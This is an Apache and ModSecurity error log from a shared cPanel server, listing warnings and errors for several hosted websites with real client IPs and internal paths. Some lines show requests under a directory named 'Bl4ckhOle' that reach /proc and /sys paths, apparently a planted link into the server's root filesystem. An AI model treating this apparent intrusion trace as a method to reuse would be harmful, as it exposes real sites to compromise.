[Fri Jul 17 10:05:28.854749 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:28.977635 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:29.073865 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:29.170009 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:30.384913 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:51652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:30.909269 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:51686] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:31.234292 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:51716] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:33.158331 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:36690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:34.025916 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:36714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:35.533134 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:36804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:36.602184 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:36834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:43.017991 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:60224] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:43.354306 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:43.475329 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:44.935303 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:45.024495 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:45.082523 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:45.089723 2026] [ssl:error] [pid 1993572:tid 1993572] (5)Input/output error: [client 66.85.158.91:60324] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:45.104828 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:45.125372 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:45.132655 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:60340] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:45.275107 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:45.277810 2026] [core:error] [pid 2063441:tid 2063441] (13)Permission denied: [client 47.82.14.217:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/driver/new_id
[Fri Jul 17 10:05:45.296270 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:45.347803 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:45.562568 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:46.035020 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:46.404400 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:60400] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:46.992764 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.028695 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.175422 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.303035 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.327814 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.329980 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.407438 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.421366 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.474754 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.648940 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.714694 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.748983 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.953853 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:47.971246 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.219164 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.299939 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.313844 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-docs/html/genindex-Q.html"] [unique_id "almxJNKHXJzatLSGO6Is9AAAABU"]
[Fri Jul 17 10:05:48.313881 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-docs/html/genindex-Q.html"] [unique_id "almxJNKHXJzatLSGO6Is9AAAABU"]
[Fri Jul 17 10:05:48.396841 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.450224 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.559977 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.668759 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.777836 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.866598 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:48.981806 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:49.082374 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:49.260047 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:49.460662 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:49.469373 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:05:49.639025 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.98:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory111/node0/memory69/node0/memory16/subsystem/uevent
[Fri Jul 17 10:05:51.168125 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almxJtKHXJzatLSGO6Is9wAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1215&page_105=1822
[Fri Jul 17 10:05:51.168166 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almxJtKHXJzatLSGO6Is9wAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1215&page_105=1822
[Fri Jul 17 10:05:51.406950 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:40594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:54.766566 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:40770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:54.822125 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:40786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:55.058229 2026] [security2:error] [pid 2063442:tid 2063442] [client 165.56.14.59:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "almxKaTW5eFi1WFCzw0XFgAAABc"]
[Fri Jul 17 10:05:55.058280 2026] [security2:error] [pid 2063442:tid 2063442] [client 165.56.14.59:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "almxKaTW5eFi1WFCzw0XFgAAABc"]
[Fri Jul 17 10:05:56.509591 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:40912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:59.297100 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:03.161291 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:51178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:05.414700 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:51298] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:05.568889 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:51302] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:06.364904 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:51322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:07.509088 2026] [security2:error] [pid 2063883:tid 2063883] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almxNlWVGD3EZW05fn30hgAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1205&page_105=1831
[Fri Jul 17 10:06:07.509157 2026] [security2:error] [pid 2063883:tid 2063883] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almxNlWVGD3EZW05fn30hgAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1205&page_105=1831
[Fri Jul 17 10:06:07.640941 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:51410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:07.774601 2026] [security2:error] [pid 2063463:tid 2063463] [client 216.244.66.230:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "v-deploy.com"] [uri "/robots.txt"] [unique_id "almxN_72foAPmCnen3SrQQAAABs"]
[Fri Jul 17 10:06:07.775095 2026] [security2:error] [pid 2063463:tid 2063463] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "v-deploy.com"] [uri "/robots.txt"] [unique_id "almxN_72foAPmCnen3SrQQAAABs"]
[Fri Jul 17 10:06:08.791353 2026] [security2:error] [pid 2063463:tid 2063463] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "v-deploy.com"] [uri "/index.php"] [unique_id "almxN_72foAPmCnen3SrQQAAABs"]
[Fri Jul 17 10:06:10.958358 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958437 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958461 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958481 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958501 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958525 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958548 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958572 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958592 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958614 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958655 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958688 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958724 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958774 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958798 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958820 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958841 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:10.958860 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:11.097669 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:11.200073 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:11.300554 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:11.403386 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:11.508445 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:11.605917 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:11.708134 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:11.809417 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:12.301377 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:42214] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:16.602829 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:42458] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:20.207156 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxRI-0g_VSPeIeFN3NBwAAAAs"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:06:20.207210 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxRI-0g_VSPeIeFN3NBwAAAAs"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:06:20.429239 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:42608] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:21.874176 2026] [security2:error] [pid 2065297:tid 2065297] [client 144.76.32.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almxRIQPslXM9Iu5soRr-QAAAAg"]
[Fri Jul 17 10:06:21.874228 2026] [security2:error] [pid 2065297:tid 2065297] [client 144.76.32.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almxRIQPslXM9Iu5soRr-QAAAAg"]
[Fri Jul 17 10:06:22.819917 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:47454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:23.670696 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:47476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:28.396051 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:47650] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:30.511488 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:30.518370 2026] [mime:warn] [pid 2068142:tid 2068142] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:30.579806 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:30.715308 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:30.722256 2026] [mime:warn] [pid 2068142:tid 2068142] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:31.050511 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:31.050554 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:31.093277 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:31.147406 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:31.238805 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:32.689557 2026] [mime:warn] [pid 2068142:tid 2068142] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:38.266328 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:46538] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:06:40.482485 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.23:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory99/node0/memory126/node0/memory125/node0/memory37/"] [unique_id "almxWCRF0UOO1RzB5_87XQAAAA4"]
[Fri Jul 17 10:06:40.482528 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.23:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory99/node0/memory126/node0/memory125/node0/memory37/"] [unique_id "almxWCRF0UOO1RzB5_87XQAAAA4"]
[Fri Jul 17 10:06:42.150887 2026] [security2:error] [pid 2068138:tid 2068138] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxWg4g1d3E329BkvVO2gAAAAE"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:06:42.150944 2026] [security2:error] [pid 2068138:tid 2068138] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almxWg4g1d3E329BkvVO2gAAAAE"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:06:43.188709 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:43.189101 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:43.196550 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:43.310123 2026] [core:error] [pid 2060590:tid 2060590] (13)Permission denied: [client 47.79.15.113:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:09/physical_node/remove
[Fri Jul 17 10:06:43.458560 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:06:44.191864 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/robots.txt"] [unique_id "almxXFmuKRtYY-VAGIVWwwAAAAk"]
[Fri Jul 17 10:06:44.191908 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/robots.txt"] [unique_id "almxXCRF0UOO1RzB5_87XwAAAA4"]
[Fri Jul 17 10:06:44.192254 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/robots.txt"] [unique_id "almxXFmuKRtYY-VAGIVWwwAAAAk"]
[Fri Jul 17 10:06:44.192324 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/robots.txt"] [unique_id "almxXCRF0UOO1RzB5_87XwAAAA4"]
